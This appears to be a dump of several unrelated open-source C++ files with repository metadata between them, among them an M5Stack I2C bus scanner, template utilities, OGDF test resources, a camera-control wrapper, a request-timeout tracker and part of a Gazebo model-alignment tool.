PQMapNodePtr( new PQVehGraphNode(*this) ); }
21.031694
130
0.655477
nicolasjinchereau
0db7f6c968e329e1ed05f6acd1005096f6a7a333
1,626
cpp
C++
src/Apps/Tools/I2CScanner.cpp
beNative/M5Stack-MultiApp-Advanced
c1352854a2127180d71209dff160a5ddf6aae577
[ "MIT" ]
147
2018-05-02T01:15:34.000Z
2022-03-16T06:51:15.000Z
src/Apps/Tools/I2CScanner.cpp
beNative/M5Stack-MultiApp-Advanced
c1352854a2127180d71209dff160a5ddf6aae577
[ "MIT" ]
15
2018-04-25T08:55:25.000Z
2020-07-20T06:01:57.000Z
src/Apps/Tools/I2CScanner.cpp
beNative/M5Stack-MultiApp-Advanced
c1352854a2127180d71209dff160a5ddf6aae577
[ "MIT" ]
39
2018-04-28T23:14:37.000Z
2022-01-15T10:18:12.000Z
#include "I2CScanner.h" void I2CScannerClass::Run() { M5m.update(); M5m.drawAppMenu(F("I2C SCANNER"), F("ESC"), F("SCAN"), F("")); while (!M5m.BtnA.wasPressed()) { if (scanrun == HIGH) { scanrun = LOW; nDevices = 0; for (address = 1; address < 127; address++) { ridx++; if (ridx == 17) { ridx = 1; lidx++; } Wire.beginTransmission(address); error = Wire.endTransmission(); if (error == 0) { M5m.Lcd.drawString(String(address, HEX), 0 + (ridx * 18), 45 + (lidx * 20), 2); nDevices++; } else if (error == 4) { M5m.Lcd.drawString(F("ER"), 0 + (ridx * 18), 45 + (lidx * 20), 2); } else { M5m.Lcd.drawString(F("--"), 0 + (ridx * 18), 45 + (lidx * 20), 2); } } M5m.update(); } else { if (M5m.BtnB.wasPressed()) { M5m.windowClr(); ridx = 0; lidx = 0; scanrun = HIGH; } M5m.update(); } } } I2CScannerClass::I2CScannerClass() { } I2CScannerClass::~I2CScannerClass() { M5m.Lcd.fillScreen(0); M5m.drawAppMenu(F("TOOLS"), F("ESC"), F("SELECT"), F("LIST")); M5m.showList(); }
25.809524
99
0.359779
beNative
0dbb6b549381192207ea49bb6fd950aea9ab470a
901
hpp
C++
ogsr_engine/xrCore/Utils/imdexlib/mpl.hpp
stepa2/OGSR-Engine
32a23aa30506684be1267d9c4fc272350cd167c5
[ "Apache-2.0" ]
247
2018-11-02T18:50:55.000Z
2022-03-15T09:11:43.000Z
ogsr_engine/xrCore/Utils/imdexlib/mpl.hpp
stepa2/OGSR-Engine
32a23aa30506684be1267d9c4fc272350cd167c5
[ "Apache-2.0" ]
193
2018-11-02T20:12:44.000Z
2022-03-07T13:35:17.000Z
ogsr_engine/xrCore/Utils/imdexlib/mpl.hpp
stepa2/OGSR-Engine
32a23aa30506684be1267d9c4fc272350cd167c5
[ "Apache-2.0" ]
106
2018-10-26T11:33:01.000Z
2022-03-19T12:34:20.000Z
#pragma once #include <type_traits> namespace imdexlib { class end_t {}; template <typename Predicate, typename... Ts> struct find_if; template <typename Predicate, typename T, typename... Ts> struct find_if<Predicate, T, Ts...> { private: using result = typename Predicate::template type<T>; public: using type = std::conditional_t< result::value, T, typename find_if<Predicate, Ts...>::type >; }; template <typename Predicate, typename T> struct find_if<Predicate, T> { private: using result = typename Predicate::template type<T>; public: using type = std::conditional_t< result::value, T, end_t >; }; template <typename Predicate> struct find_if<Predicate> { using type = end_t; }; template <typename Predicate, typename... Ts> using find_if_t = typename find_if<Predicate, Ts...>::type; } // imdexlib namespace
18.770833
59
0.669256
stepa2
0dbca6b77b29c37705d6bdee874d698a02ea5040
5,682
cpp
C++
src/3rdParty/ogdf-2020/test/src/resources.cpp
MichaelTiernan/qvge
aff978d8592e07e24af4b8bab7c3204a7e7fb3fb
[ "MIT" ]
null
null
null
src/3rdParty/ogdf-2020/test/src/resources.cpp
MichaelTiernan/qvge
aff978d8592e07e24af4b8bab7c3204a7e7fb3fb
[ "MIT" ]
null
null
null
src/3rdParty/ogdf-2020/test/src/resources.cpp
MichaelTiernan/qvge
aff978d8592e07e24af4b8bab7c3204a7e7fb3fb
[ "MIT" ]
null
null
null
/** \file * \brief Resource file abstraction to be used in tests. Resources * are compiled into binary format and can be accessed with the * classes provided by this file. * * \author Jöran Schierbaum * * \par License: * This file is part of the Open Graph Drawing Framework (OGDF). * * \par * Copyright (C)<br> * See README.md in the OGDF root directory for details. * * \par * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * Version 2 or 3 as published by the Free Software Foundation; * see the file LICENSE.txt included in the packaging of this file * for details. * * \par * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * \par * You should have received a copy of the GNU General Public * License along with this program; if not, see * http://www.gnu.org/copyleft/gpl.html */ #include <resources.h> namespace resources { std::unordered_map<string, ResourceDirectory> internal::g_directories; std::unordered_map<string, ResourceFile> internal::g_resources; ResourceDirectory internal::g_resources_root; /* Class Members of ResourceFile */ const ResourceFile* ResourceFile::get(const string& path) { if (internal::g_resources.find(path) == internal::g_resources.end()) { throw(std::runtime_error("The file `" + path + "' could not be found in the packed resources.\n" "If it is in your file system, you have to re-run cmake and recompile.")); } return &internal::g_resources[path]; } /* Class Members of ResourceDirectory */ void ResourceDirectory::addFile(ResourceFile* r) { OGDF_ASSERT(r != nullptr); m_files[r->name()] = r; } void ResourceDirectory::addDirectory(ResourceDirectory* r) { OGDF_ASSERT(r != nullptr); m_directories[r->name()] = r; } ResourceDirectory* ResourceDirectory::addDirectory(const string& name) { ResourceDirectory newdir(fullPath(), name); // Copy into global array and return address from that internal::g_directories[newdir.fullPath()] = newdir; ResourceDirectory* p = &internal::g_directories[newdir.fullPath()]; addDirectory(p); return p; } const ResourceFile* ResourceDirectory::getFile(const string& name) const { auto it = m_files.find(name); if (it == m_files.end()) return nullptr; return it->second; } const ResourceDirectory* ResourceDirectory::getDirectory(const string& name) const { auto it = m_directories.find(name); if (it == m_directories.end()) return nullptr; return it->second; } ResourceDirectory* ResourceDirectory::getDirectory(const string& name, bool create) { auto it = m_directories.find(name); if (it == m_directories.end()) { if (create) return addDirectory(name); return nullptr; } return it->second; } const ResourceFile* ResourceDirectory::getFileByPath(const string& path) const { string::size_type pos = path.find('/'); if (pos == string::npos) { return getFile(path); } const ResourceDirectory* next = getDirectory(path.substr(0, pos)); if (next == nullptr) return nullptr; // no such directory return next->getFileByPath(path.substr(pos + 1)); } const ResourceDirectory* ResourceDirectory::getDirectoryByPath(const string& path) const { string::size_type pos = path.find('/'); if (pos == string::npos) { return getDirectory(path); } const ResourceDirectory* next = getDirectory(path.substr(0, pos)); if (next == nullptr) return next; // no such directory return next->getDirectoryByPath(path.substr(pos + 1)); } ResourceDirectory* ResourceDirectory::getDirectoryByPath(const string& path, bool createPath) { string::size_type pos = path.find('/'); if (pos == string::npos) { ResourceDirectory* found = getDirectory(path); if (found == nullptr && createPath) { found = addDirectory(path); } return found; } ResourceDirectory* next = getDirectory(path.substr(0, pos)); if (next == nullptr) { // no such directory if (!createPath) { return nullptr; } next = addDirectory(path.substr(0, pos)); } return next->getDirectoryByPath(path.substr(pos + 1), createPath); } std::vector<const ResourceFile*> ResourceDirectory::getFiles() const { std::vector<const ResourceFile*> entries; for (auto it : m_files) { entries.push_back(it.second); } return entries; } std::vector<const ResourceDirectory*> ResourceDirectory::getDirectories() const { std::vector<const ResourceDirectory*> entries; for (auto it : m_directories) { entries.push_back(it.second); } return entries; } void ResourceDirectory::forEachFile(std::function<void(const ResourceFile*)> callback, bool recurse) const { for (auto it : m_files) { callback(it.second); } if (recurse) { for (auto it : m_directories) { if (it.second == nullptr) continue; it.second->forEachFile(callback, true); } } } const ResourceDirectory* ResourceDirectory::get(const string& dir, const string& name) { return get(dir + '/' + name); } const ResourceDirectory* ResourceDirectory::get(const string& path) { if (internal::g_directories.find(path) == internal::g_directories.end()) return nullptr; return &internal::g_directories[path]; } /* Global methods */ void internal::registerResource(const string& directory, const string& filename, const string& contents) { ResourceDirectory* dir = g_resources_root.getDirectoryByPath(directory, true); ResourceFile f(directory, filename, contents); // Copy into global array, store address of that copy g_resources[directory + '/' + filename] = f; dir->addFile(&g_resources[directory + '/' + filename]); } }
32.843931
108
0.727385
MichaelTiernan
0dc713a85dbf4ca234082f998f6220ef15120b4b
2,808
cpp
C++
src/RemotePhotoTool.CameraControl/RemotePhotoTool.CameraControl.SourceDevice.cpp
vividos/RemotePhotoTool
d17ae2abbda531acbd0ec8e90ddc4856c4fdfa00
[ "BSD-2-Clause" ]
16
2015-03-26T02:32:43.000Z
2021-10-18T16:34:31.000Z
src/RemotePhotoTool.CameraControl/RemotePhotoTool.CameraControl.SourceDevice.cpp
vividos/RemotePhotoTool
d17ae2abbda531acbd0ec8e90ddc4856c4fdfa00
[ "BSD-2-Clause" ]
7
2019-02-21T06:07:09.000Z
2022-01-01T10:00:50.000Z
src/RemotePhotoTool.CameraControl/RemotePhotoTool.CameraControl.SourceDevice.cpp
vividos/RemotePhotoTool
d17ae2abbda531acbd0ec8e90ddc4856c4fdfa00
[ "BSD-2-Clause" ]
6
2019-05-07T09:21:15.000Z
2021-09-01T06:36:24.000Z
// // RemotePhotoTool - remote camera control software // Copyright (C) 2008-2016 Michael Fink // /// \file RemotePhotoTool.CameraControl.SourceDevice.cpp SourceDevice wrapper class // // includes #include "stdafx.h" #include "RemotePhotoTool.CameraControl.SourceDevice.hpp" #include "SourceDevice.hpp" #include "RemotePhotoTool.CameraControl.DeviceProperty.hpp" #include "RemotePhotoTool.CameraControl.RemoteReleaseControl.hpp" System::String^ RemotePhotoTool::CameraControl::SourceDevice::ModelName::get() { return gcnew System::String(m_sourceDevice->get()->ModelName().GetString()); } System::String^ RemotePhotoTool::CameraControl::SourceDevice::SerialNumber::get() { return gcnew System::String(m_sourceDevice->get()->SerialNumber().GetString()); } bool RemotePhotoTool::CameraControl::SourceDevice::GetDeviceCapability( RemotePhotoTool::CameraControl::SourceDevice::DeviceCapability deviceCapability) { ::SourceDevice::T_enDeviceCapability enDeviceCapability = static_cast<::SourceDevice::T_enDeviceCapability>(deviceCapability); return m_sourceDevice->get()->GetDeviceCapability(enDeviceCapability); } System::Collections::Generic::List<RemotePhotoTool::CameraControl::DeviceProperty^>^ RemotePhotoTool::CameraControl::SourceDevice::EnumDeviceProperties() { std::vector<unsigned int> devicePropertyList = m_sourceDevice->get()->EnumDeviceProperties(); auto devicePropertyCollection = gcnew System::Collections::Generic::List<RemotePhotoTool::CameraControl::DeviceProperty^>(); for (size_t index = 0, max = devicePropertyList.size(); index < max; index++) { unsigned int devicePropertyId = devicePropertyList[index]; ::DeviceProperty deviceProperty = m_sourceDevice->get()->GetDeviceProperty(devicePropertyId); devicePropertyCollection->Add(gcnew RemotePhotoTool::CameraControl::DeviceProperty(deviceProperty)); } return devicePropertyCollection; } RemotePhotoTool::CameraControl::RemoteReleaseControl^ RemotePhotoTool::CameraControl::SourceDevice::EnterReleaseControl() { std::shared_ptr<::RemoteReleaseControl> spRemoteReleaseControl = m_sourceDevice->get()->EnterReleaseControl(); auto remoteReleaseControl = gcnew RemotePhotoTool::CameraControl::RemoteReleaseControl(spRemoteReleaseControl); remoteReleaseControl->InitEventHandler(); return remoteReleaseControl; } /// cleans up unmanaged resources RemotePhotoTool::CameraControl::SourceDevice::!SourceDevice() { delete m_sourceDevice; m_sourceDevice = nullptr; } /// cleans up managed resources RemotePhotoTool::CameraControl::SourceDevice::~SourceDevice() { } RemotePhotoTool::CameraControl::SourceDevice::SourceDevice( std::shared_ptr<::SourceDevice> sourceDevice) :m_sourceDevice(new std::shared_ptr<::SourceDevice>(sourceDevice)) { }
33.428571
127
0.7849
vividos
0dcf642bbdd1b3df0ea40975ba3f56e9676d907d
6,820
cpp
C++
stack/sapstack/SapRequestHistory.cpp
shrewdlin/BPE
cf29647479b1b8ed53afadaf70557387f4c07e16
[ "BSD-3-Clause" ]
1
2016-07-12T06:00:37.000Z
2016-07-12T06:00:37.000Z
stack/sapstack/SapRequestHistory.cpp
shrewdlin/BPE
cf29647479b1b8ed53afadaf70557387f4c07e16
[ "BSD-3-Clause" ]
null
null
null
stack/sapstack/SapRequestHistory.cpp
shrewdlin/BPE
cf29647479b1b8ed53afadaf70557387f4c07e16
[ "BSD-3-Clause" ]
2
2016-09-06T07:59:09.000Z
2020-12-12T03:25:24.000Z
#include "SapRequestHistory.h" #include <boost/asio.hpp> #include <time.h> #include "SapLogHelper.h" #include "SapAgent.h" #include "boost/date_time/posix_time/posix_time.hpp" using namespace boost::posix_time; namespace sdo{ namespace sap{ unsigned int CSapMsgTimerList::sm_nRequestTimeout=10; void CSapMsgTimerList::SetRequestTimeout(unsigned int timeout) { sm_nRequestTimeout=timeout; } CSapMsgTimerList::CSapMsgTimerList() { m_stTimeoutResponse.byIdentifer=SAP_PACKET_RESPONSE; m_stTimeoutResponse.byHeadLen=sizeof(SSapMsgHeader); m_stTimeoutResponse.dwPacketLen=htonl(sizeof(SSapMsgHeader)); m_stTimeoutResponse.dwCode=htonl(SAP_CODE_STACK_TIMEOUT); } CSapMsgTimerList::~CSapMsgTimerList() { m_history.clear(); m_timers.clear(); } void CSapMsgTimerList::AddHistory(int nId,unsigned int dwSequence,unsigned int dwServiceId,unsigned int dwMsgId,unsigned int timeout) { SSapRequestHistory oRequest; oRequest.nId=nId; oRequest.dwSequence=dwSequence; oRequest.dwServiceId=dwServiceId; oRequest.dwMsgId=dwMsgId; gettimeofday_a(&(oRequest.starttime),0); struct timeval_a interval; unsigned int nTimout=(timeout<=0?sm_nRequestTimeout:timeout); interval.tv_sec=nTimout; interval.tv_usec=0; timeradd(&(oRequest.starttime),&interval,&oRequest.m_stEndtime); m_timers.insert(MMHistoryTimers::value_type(oRequest.m_stEndtime,oRequest)); m_history[dwSequence]=oRequest; } bool CSapMsgTimerList::RemoveHistoryBySequence(unsigned int dwSequence,unsigned int dwCode) { SS_XLOG(XLOG_DEBUG,"CSapMsgTimerList::RemoveHistoryBySequence,sequence[%d]\n",htonl(dwSequence)); MHistory::iterator itrHistory=m_history.find(dwSequence); if(itrHistory!=m_history.end()) { SS_XLOG(XLOG_DEBUG,"CSapMsgTimerList::RemoveHistoryBySequence,execute remove!\n"); SSapRequestHistory & oRequest=itrHistory->second; std::pair<MMHistoryTimers::iterator, MMHistoryTimers::iterator> itr_pair = m_timers.equal_range(oRequest.m_stEndtime); MMHistoryTimers::iterator itr; for(itr=itr_pair.first; itr!=itr_pair.second;itr++) { SSapRequestHistory & oQueryRequest=itr->second; if(oQueryRequest.Equal(oRequest)) { m_timers.erase(itr); break; } } if(IsEnableLevel(SAPPER_STACK_MODULE,XLOG_INFO)) { struct tm tmStart; struct tm tmEnd; struct timeval_a now; gettimeofday_a(&now,0); /*localtime_r(&(oRequest.starttime.tv_sec),&tmStart); localtime_r(&(now.tv_sec),&tmEnd);*/ ptime pStart = from_time_t(oRequest.starttime.tv_sec); tmStart = to_tm(pStart); ptime pEnd = second_clock::local_time(); tmEnd = to_tm(pEnd); char szTmp[1024]={0}; sprintf(szTmp,"%04u-%02u-%02u %02u:%02u:%02u.%03u",tmStart.tm_year+1900,tmStart.tm_mon+1,tmStart.tm_mday,tmStart.tm_hour,tmStart.tm_min,tmStart.tm_sec,(unsigned int)(oRequest.starttime.tv_usec/1000)); string strStartTime = szTmp; memset(szTmp,0,1024); sprintf(szTmp,"%04u-%02u-%02u %02u:%02u:%02u.%03u",tmEnd.tm_year+1900,tmEnd.tm_mon+1,tmEnd.tm_mday,tmEnd.tm_hour,tmEnd.tm_min,tmEnd.tm_sec,(unsigned int)(now.tv_usec/1000)); string strEndTime = szTmp; struct timeval_a tmInterval; timersub(&now,&(oRequest.starttime),&tmInterval); //LOG:nid,serviceid,msgid,sequence,starttime,interval(ms),OUT SP_XLOG(XLOG_NOTICE,"%u,%u,%u,%u,%s,%s,%d.%03d,%u,OUT\n",oRequest.nId,oRequest.dwServiceId,oRequest.dwMsgId,htonl(oRequest.dwSequence),strStartTime.c_str(),strEndTime.c_str(),tmInterval.tv_sec*1000+tmInterval.tv_usec/1000,tmInterval.tv_usec%1000,dwCode); } m_history.erase(itrHistory); return true; } else { SS_XLOG(XLOG_WARNING,"CSapMsgTimerList::RemoveHistoryBySequence,no sequence[%d]\n",htonl(dwSequence)); return false; } } void CSapMsgTimerList::DetectTimerList() { struct timeval_a now; gettimeofday_a(&now,0); while(!m_timers.empty()) { struct timeval_a curTimerEnd=m_timers.begin()->first; if(curTimerEnd<now) { SSapRequestHistory & oRequest=m_timers.begin()->second; SS_XLOG(XLOG_WARNING,"CSapMsgTimerList::OnRequstTimeout,id[%d],sequence[%d]\n",oRequest.nId,htonl(oRequest.dwSequence)); m_stTimeoutResponse.dwServiceId=oRequest.dwServiceId; m_stTimeoutResponse.dwMsgId=oRequest.dwMsgId; m_stTimeoutResponse.dwSequence=oRequest.dwSequence; CSapAgent::Instance()->OnReceiveMessage(oRequest.nId,&m_stTimeoutResponse,sizeof(m_stTimeoutResponse),"",0); if(IsEnableLevel(SAPPER_STACK_MODULE,XLOG_INFO)) { struct tm tmStart; struct tm tmEnd; /*localtime_r(&(oRequest.starttime.tv_sec),&tmStart); localtime_r(&(now.tv_sec),&tmEnd);*/ ptime pStart = from_time_t(oRequest.starttime.tv_sec); tmStart = to_tm(pStart); ptime pEnd = second_clock::local_time(); tmEnd = to_tm(pEnd); char szTmp[1024]={0}; sprintf(szTmp,"%04u-%02u-%02u %02u:%02u:%02u.%03u",tmStart.tm_year+1900,tmStart.tm_mon+1,tmStart.tm_mday,tmStart.tm_hour,tmStart.tm_min,tmStart.tm_sec,(unsigned int)(oRequest.starttime.tv_usec/1000)); string strStartTime = szTmp; memset(szTmp,0,1024); sprintf(szTmp,"%04u-%02u-%02u %02u:%02u:%02u.%03u",tmEnd.tm_year+1900,tmEnd.tm_mon+1,tmEnd.tm_mday,tmEnd.tm_hour,tmEnd.tm_min,tmEnd.tm_sec,(unsigned int)(now.tv_usec/1000)); string strEndTime = szTmp; struct timeval_a tmInterval; timersub(&now,&(oRequest.starttime),&tmInterval); //LOG:nid,serviceid,msgid,sequence,starttime,interval(ms),code,OUT SP_XLOG(XLOG_NOTICE,"%u,%u,%u,%u,%s,%s,%d.%03d,%d,OUT\n",oRequest.nId,oRequest.dwServiceId,oRequest.dwMsgId,htonl(oRequest.dwSequence),strStartTime.c_str(),strEndTime.c_str(),tmInterval.tv_sec*1000+tmInterval.tv_usec/1000,tmInterval.tv_usec%1000,SAP_CODE_STACK_TIMEOUT); } m_history.erase(oRequest.dwSequence); m_timers.erase(m_timers.begin()); } else { break; } } } bool CSapMsgTimerList::IsExistSequence(unsigned int dwSequence) { SS_XLOG(XLOG_DEBUG,"CSapMsgTimerList::IsExistSequence,sequence[%d]\n",htonl(dwSequence)); MHistory::iterator itrHistory=m_history.find(dwSequence); if(itrHistory!=m_history.end()) { return true; } else { SS_XLOG(XLOG_WARNING,"CSapMsgTimerList::IsExistSequence,no this sequence[%d]\n",htonl(dwSequence)); return false; } } } }
37.679558
280
0.683284
shrewdlin
0dd1dbc52e557a9d29f3042bb42132f6ea443244
35
cpp
C++
src/diff_match_patch.cpp
guntersp/diff-match-patch-cpp
92e554efedf36424161144a9de7a806fbf826128
[ "Apache-2.0" ]
1
2020-07-25T09:49:53.000Z
2020-07-25T09:49:53.000Z
src/diff_match_patch.cpp
guntersp/diff-match-patch-cpp
92e554efedf36424161144a9de7a806fbf826128
[ "Apache-2.0" ]
null
null
null
src/diff_match_patch.cpp
guntersp/diff-match-patch-cpp
92e554efedf36424161144a9de7a806fbf826128
[ "Apache-2.0" ]
null
null
null
#include "dmp/diff_match_patch.h"
17.5
34
0.771429
guntersp
0dd30141c4ebbfd1840a375aa19f9e7f9570a9b5
7,150
hpp
C++
Include/SA/Core/Types/Variadics/Event.hpp
SapphireSuite/Engine
f29821853aec6118508f31d3e063e83e603f52dd
[ "MIT" ]
1
2022-01-20T23:17:18.000Z
2022-01-20T23:17:18.000Z
Include/SA/Core/Types/Variadics/Event.hpp
SapphireSuite/Engine
f29821853aec6118508f31d3e063e83e603f52dd
[ "MIT" ]
null
null
null
Include/SA/Core/Types/Variadics/Event.hpp
SapphireSuite/Engine
f29821853aec6118508f31d3e063e83e603f52dd
[ "MIT" ]
null
null
null
// Copyright (c) 2021 Sapphire's Suite. All Rights Reserved. #pragma once #ifndef SAPPHIRE_CORE_EVENT_GUARD #define SAPPHIRE_CORE_EVENT_GUARD #include <vector> #include <SA/Core/Types/Variadics/Function.hpp> /** * \file Event.hpp * * \brief \b Definition of Sapphire \b Event type. * * \ingroup Core_Types * \{ */ namespace Sa { namespace Intl { /** * \brief Handle struct for a function. * * \tparam R Return type of function's declaration. * \tparam Args Argument types of function's declaration. */ template <typename R, typename... Args> struct FuncHandle { /// Function ptr handle. R(*func)(Args...) = nullptr; /// result ptr handle. R* result = nullptr; }; /** * \brief Handle struct for a function with void return type. * * Template specialization of FuncHandle for function with void return type. * * \tparam Args Argument types of function's declaration. */ template <typename... Args> struct FuncHandle<void, Args...> { /// Function ptr handle. void(*func)(Args...) = nullptr; }; /** * \brief Handle struct for a member function. * * \tparam R Return type of function's declaration. * \tparam Args Argument types of function's declaration. */ template <typename R, typename... Args> struct FuncMemberHandle { /// Abstract member data (used by function interface). FuncMemberDataBase* data = nullptr; /// Interface function ptr handle. R(*func)(void*, Args...) = nullptr; /// result ptr handle. R* result = nullptr; }; /** * \brief Handle struct for a member function with void return type. * * Template specialization of FuncMemberHandle for member function with void return type. * * \tparam Args Argument types of function's declaration. */ template <typename... Args> struct FuncMemberHandle<void, Args...> { /// Abstract member data (used by function interface). FuncMemberDataBase* data = nullptr; /// Interface function ptr handle. void(*func)(void*, Args...) = nullptr; }; } /** * \brief Sapphire Event default (undefined) declaration. * * \tparam R Return type. * \tparam Args Argument types */ template <typename R, typename... Args> class Event; /** * \brief Sapphire Event class. * * Template specialization for R(Args...) deduction. * * \tparam R Return type. * \tparam Args Argument types */ template <typename R, typename... Args> class Event<R(Args...)> { /// Function handle type. using FuncHandle = Intl::FuncHandle<R, Args...>; /// Member function handle type. using FuncMemberHandle = Intl::FuncMemberHandle<R, Args...>; /// Registered functions. std::vector<FuncHandle> mFunctions; /// Registered member functions. std::vector<FuncMemberHandle> mMemberFunctions; public: /// Default constructor. Event() = default; /// Default Move constructor. Event(Event&& _other) = default; /// Deleted copy constructor. Event(const Event&) = delete; /// Destructor (auto clean). ~Event(); /** * \brief Check whether this event is <b>empty</b> (no function registered). * * \returns true if empty. */ bool IsEmpty() const noexcept; /** * \brief <b>Clear</b> all registered function. */ void Clear(); /** * \brief <b>Add</b> a function to <b>register</b>. * * Ensure <b>registered order</b> on execution. * * \param[in] _func Function to register. * \param[in] _result Optionnal result handle. */ void Add(R(*_func)(Args...), R* _result = nullptr); /** * \brief <b>Add</b> a member function to <b>register</b>. * * Ensure <b>registered order</b> on execution. * * \tparam C Caller type. * * \param[in] _caller Caller instance to call function from. * \param[in] _func Member function to register. * \param[in] _result Optionnal result handle. */ template <typename C> void Add(C* _caller, R(C::* _func)(Args...), R* _result = nullptr); /** * \brief <b>Remove</b> a registered function. * * Start function iteration from <b>first</b> to <b>last</b> registered. * * \param[in] _func Function to unregister. * * \returns true if successfully removed, otherwise false. */ bool Remove(R(*_func)(Args...)); /** * \brief <b>Remove</b> a registered member function. * * Start function iteration from <b>first</b> to <b>last</b> registered. * * \param[in] _caller Caller instance of registered function. * \param[in] _func Member function to unregister. * * \returns true if successfully removed, otherwise false. */ template <typename C> bool Remove(const C* _caller, R(C::* _func)(Args...)); /** * \brief <b>Reverse Remove</b> a registered function. * * Start function iteration from <b>last</b> to <b>first</b> registered. * * \param[in] _func Function to unregister. * * \returns true if successfully removed, otherwise false. */ bool RRemove(R(*_func)(Args...)); /** * \brief <b>Reverse Remove</b> a registered member function. * * Start function iteration from <b>last</b> to <b>first</b> registered. * * \param[in] _caller Caller instance of registered function. * \param[in] _func Member function to unregister. * * \returns true if successfully removed, otherwise false. */ template <typename C> bool RRemove(const C* _caller, R(C::* _func)(Args...)); /** * \brief <b>Execute</b> all <b>registered</b> functions. * * Ensure <b>registered order</b> execution. * * \param[in] _args Argument to forward to functions. */ void Execute(const Args&... _args); /** * \brief <b>Execute</b> all <b>registered</b> functions. * * Ensure <b>registered order</b> execution. * * \param[in] _results Optionnal output results (append). * \param[in] _args Argument to forward to functions. */ void Execute(std::vector<R>& _results, const Args&... _args); /** * \brief Move operator. * * \return this. */ Event& operator=(Event&& _other); /** * \brief Deleted copy operator. * * \return this. */ Event& operator=(const Event&) = delete; /** * \brief <b>Add</b> a function to <b>register</b>. * * Use Add() method. * * \param[in] _func Function to register. * * \returns This event. */ Event& operator+=(R(*_func)(Args...)); /** * \brief <b>Remove</b> a registered function. * * Use Remove() method. * * \param[in] _func Function to unregister. * * \returns This event. */ Event& operator-=(R(*_func)(Args...)); /** * \brief <b>Execute</b> all <b>registered</b> functions. * * Use Execute() method. * * \param[in] _args Argument to forward to functions. */ void operator()(const Args&... _args); /** * \brief <b>Execute</b> all <b>registered</b> functions. * * Use Execute() method. * Ensure <b>registered order</b> execution. * * \param[in] _results Optionnal output results (append). * \param[in] _args Argument to forward to functions. */ void operator()(std::vector<R>& _results, const Args&... _args); }; } #include <SA/Core/Types/Variadics/Event.inl> /** \} */ #endif // GUARD
22.770701
90
0.638042
SapphireSuite
0de9d0609faf98e2f9f588937f4836140dd80f3f
706
cpp
C++
android-31/java/nio/charset/UnsupportedCharsetException.cpp
YJBeetle/QtAndroidAPI
1468b5dc6eafaf7709f0b00ba1a6ec2b70684266
[ "Apache-2.0" ]
12
2020-03-26T02:38:56.000Z
2022-03-14T08:17:26.000Z
android-31/java/nio/charset/UnsupportedCharsetException.cpp
YJBeetle/QtAndroidAPI
1468b5dc6eafaf7709f0b00ba1a6ec2b70684266
[ "Apache-2.0" ]
1
2021-01-27T06:07:45.000Z
2021-11-13T19:19:43.000Z
android-29/java/nio/charset/UnsupportedCharsetException.cpp
YJBeetle/QtAndroidAPI
1468b5dc6eafaf7709f0b00ba1a6ec2b70684266
[ "Apache-2.0" ]
3
2021-02-02T12:34:55.000Z
2022-03-08T07:45:57.000Z
#include "../../../JString.hpp" #include "./UnsupportedCharsetException.hpp" namespace java::nio::charset { // Fields // QJniObject forward UnsupportedCharsetException::UnsupportedCharsetException(QJniObject obj) : java::lang::IllegalArgumentException(obj) {} // Constructors UnsupportedCharsetException::UnsupportedCharsetException(JString arg0) : java::lang::IllegalArgumentException( "java.nio.charset.UnsupportedCharsetException", "(Ljava/lang/String;)V", arg0.object<jstring>() ) {} // Methods JString UnsupportedCharsetException::getCharsetName() const { return callObjectMethod( "getCharsetName", "()Ljava/lang/String;" ); } } // namespace java::nio::charset
24.344828
120
0.735127
YJBeetle
0deb92b18d54974f6432b7ad07c041d69c487d61
11,286
cc
C++
gazebo/gui/ModelAlign.cc
yinnglu/gazebo
3a5618a2a18873141e3cac734a692b778cec4fc0
[ "ECL-2.0", "Apache-2.0" ]
1
2019-03-04T14:12:55.000Z
2019-03-04T14:12:55.000Z
gazebo/gui/ModelAlign.cc
yinnglu/gazebo
3a5618a2a18873141e3cac734a692b778cec4fc0
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
gazebo/gui/ModelAlign.cc
yinnglu/gazebo
3a5618a2a18873141e3cac734a692b778cec4fc0
[ "ECL-2.0", "Apache-2.0" ]
2
2016-04-25T22:05:09.000Z
2020-03-08T08:45:12.000Z
/* * Copyright (C) 2014 Open Source Robotics Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifdef _WIN32 // Ensure that Winsock2.h is included before Windows.h, which can get // pulled in by anybody (e.g., Boost). #include <Winsock2.h> #endif #include "gazebo/transport/transport.hh" #include "gazebo/rendering/RenderTypes.hh" #include "gazebo/rendering/RenderEvents.hh" #include "gazebo/rendering/RenderingIface.hh" #include "gazebo/rendering/Visual.hh" #include "gazebo/rendering/Scene.hh" #include "gazebo/rendering/UserCamera.hh" #include "gazebo/rendering/RayQuery.hh" #include "gazebo/gui/qt.h" #include "gazebo/gui/MouseEventHandler.hh" #include "gazebo/gui/GuiIface.hh" #include "gazebo/gui/GuiEvents.hh" #include "gazebo/gui/ModelAlignPrivate.hh" #include "gazebo/gui/ModelAlign.hh" using namespace gazebo; using namespace gui; ///////////////////////////////////////////////// ModelAlign::ModelAlign() : dataPtr(new ModelAlignPrivate) { this->dataPtr->initialized = false; } ///////////////////////////////////////////////// ModelAlign::~ModelAlign() { this->Clear(); } ///////////////////////////////////////////////// void ModelAlign::Clear() { this->dataPtr->targetVis.reset(); this->dataPtr->scene.reset(); this->dataPtr->node.reset(); this->dataPtr->userCmdPub.reset(); this->dataPtr->selectedVisuals.clear(); this->dataPtr->connections.clear(); this->dataPtr->originalVisualPose.clear(); this->dataPtr->initialized = false; } ///////////////////////////////////////////////// void ModelAlign::Init() { if (this->dataPtr->initialized) return; rendering::UserCameraPtr cam = gui::get_active_camera(); if (!cam) { this->dataPtr->scene = rendering::get_scene(); } else { this->dataPtr->scene = cam->GetScene(); } if (!this->dataPtr->scene) { gzerr << "Unable to initialize Model Align tool, scene is NULL" << std::endl; } this->dataPtr->node = transport::NodePtr(new transport::Node()); this->dataPtr->node->Init(); this->dataPtr->userCmdPub = this->dataPtr->node->Advertise<msgs::UserCmd>("~/user_cmd"); this->dataPtr->initialized = true; } 